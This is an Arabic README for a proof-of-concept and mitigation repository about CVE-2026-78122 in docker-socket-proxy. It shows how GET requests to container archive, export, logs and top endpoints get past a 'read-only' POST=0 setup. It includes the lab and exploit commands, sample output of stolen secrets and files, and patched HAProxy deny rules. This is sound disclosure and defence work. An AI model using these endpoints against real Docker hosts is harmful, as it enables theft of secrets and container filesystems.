
استغلال لإثبات المفهوم لثغرة CVE-2026-78122، يوضح استخراج نظام ملفات الحاوية ومتغيرات البيئة عبر قواعد الوصول غير الدقيقة في docker-socket-proxy، إلى جانب إعداد HAProxy مُصحَّح.
Tecnativa docker-socket-proxy ≤ 0.5.0 — عدم كفاية دقة التحكم في الوصول (CWE-1220)
CVSS 4.0: 8.3 (عالٍ) — CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
ناقل الهجوم مجاور (
AV:A): يحتاج المهاجم إلى وصول شبكة محلي/مجاور إلى الوكيل — وهذا هو تحديدًا سبب إبقائه بعيدًا عن أي واجهة قابلة للتوجيه كجزء من التخفيف.
docker-socket-proxy هو واجهة أمامية لـ HAProxy لـ Docker socket، والغرض منه بالكامل هو منح وصول محدود النطاق وبأقل صلاحية إلى Docker API. الوصفة الأساسية "الآمنة للقراءة فقط" التي يستخدمها المشغّلون هي:
CONTAINERS=1 # allow listing/inspecting containers
POST=0 # deny everything that mutates state
# every other flag left at its default (0)
يعتقد المشغّلون بشكل معقول أن هذا يوفّر بيانات وصفية للحاويات للقراءة فقط. لكنه لا يوفر ذلك.
في haproxy.cfg، تتم حماية مساحة /containers بأكملها بقاعدة بادئة واحدة خشنة:
http-request allow if { path,url_dec -m reg -i ^(/v[\d\.]+)?/containers } { env(CONTAINERS) -m bool }
تطابق تلك القاعدة النمطية كل مسار فرعي من نوع GET تحت /containers، بما في ذلك نقاط نهاية القراءة الحساسة التي لم يكن مقصودًا أبدًا أن تكون جزءًا من "قائمة الحاويات". ولأنها جميعًا من نوع GET، فإن حارس POST=0 لا يفعل شيئًا لمنعها:
النتيجة الصافية: مع وضع "المحصّن" CONTAINERS=1, POST=0، يمكن لأي شخص يصل إلى الوكيل تفريغ الأسرار وسرقة نظام الملفات الكامل لكل حاوية على المضيف.
lab/ vulnerable docker-socket-proxy v0.5.0 + a victim container with planted secrets
exploit/ exploit.sh — end-to-end data-exfiltration PoC
mitigation/ patched haproxy.cfg + compose that denies the sensitive sub-paths
verify.sh one command: stand up both, exploit, print a before/after table
teardown.sh stop everything
loot/ exploit output lands here
يتطلب Docker و Docker Compose وقشرة POSIX (يعمل Git Bash على ويندوز).
./verify.sh
أو خطوة بخطوة:
docker compose -f lab/docker-compose.yml up -d # vulnerable proxy on 127.0.0.1:2375
bash exploit/exploit.sh http://127.0.0.1:2375 # loot lands in ./loot
الوكيل مرتبط بـ
127.0.0.1فقط. لا تعرّض أبدًا وكيل Docker socket على واجهة قابلة للتوجيه.
[+] POST /containers/create -> 403 Forbidden (operator believes they are safe)
Leaked environment variables:
STRIPE_API_KEY=sk_live_FAKE_0000000000000000
DB_PASSWORD=hunter2-from-container-env
[+] Pulled /etc/passwd via /archive
[+] Stole /run/secrets/aws.env via /archive
[+] Exported entire filesystem (8,095,232 bytes) via /export
[+] Retrieved process table via /top and logs via /logs
تم الحصول على كل عنصر أعلاه مع بقاء POST=0 ساريًا.
الإصلاح الحقيقي: قم بالترقية إلى الإصدار المُصحّح (مُتتبَّع في issue #182 / PR #183) وتوقف عن الاعتماد على CONTAINERS=1 وحدها باعتبارها "للقراءة فقط".
يوفر هذا المستودع أيضًا إعدادًا محصّنًا جاهزًا للاستبدال (mitigation/haproxy.patched.cfg) يضيف قواعد deny صريحة للمسارات الفرعية الخطيرة قبل قاعدة السماح الخشنة /containers، ويمكن إعادة تفعيل كل قاعدة عبر علم مخصص (ALLOW_ARCHIVE, ALLOW_EXPORT, ALLOW_LOGS, ALLOW_TOP):
http-request deny if { ... /containers/[..]/archive } ! { env(ALLOW_ARCHIVE) -m bool }
http-request deny if { ... /containers/[..]/export } ! { env(ALLOW_EXPORT) -m bool }
http-request deny if { ... /containers/[..]/logs } ! { env(ALLOW_LOGS) -m bool }
http-request deny if { ... /containers/[..]/top } ! { env(ALLOW_TOP) -m bool }
تم التحقق قبل/بعد (مخرجات verify.sh) — نفس وضع CONTAINERS=1, POST=0:
لا تزال قوائم/فحوصات الحاويات المشروعة تعمل؛ بينما يتم حظر بدائيات استخراج البيانات.
أيضًا من الناحية التشغيلية: أبقِ الوكيل بعيدًا عن أي شبكة قابلة للتوجيه، وثبّت docker socket للقراءة فقط، وطبّق أقل صلاحية (فعّل فقط الأعلام المحددة التي يحتاجها المستهلك).
لأغراض الاختبار الأمني والتعليم المصرح به فقط. يعمل المختبر بالكامل على مضيفك الخاص ضد حاويات قمت بإنشائها.
| نقطة النهاية (GET) | ما الذي يسرّبه |
|---|
/containers/{id}/archive?path=… | قراءة ملف تعسفية من أي حاوية |
/containers/{id}/export | نظام ملفات الحاوية الكامل كملف tar |
/containers/{id}/logs | مخرجات الحاوية stdout/stderr |
/containers/{id}/top | قائمة العمليات مع argv الكامل (قد تحتوي على بيانات اعتماد) |
/containers/{id}/json | الإعداد الكامل بما في ذلك متغيرات البيئة |
| نقطة نهاية GET | قابلة للاستغلال (:2375) | مخففة (:2376) |
|---|
/containers/json (قائمة) | 200 | 200 |
/containers/{id}/json (فحص) | 200 | 200 |
/containers/{id}/archive | 200 | 403 |
/containers/{id}/export | 200 | 403 |
/containers/{id}/logs | 200 | 403 |
/containers/{id}/top | 200 | 403 |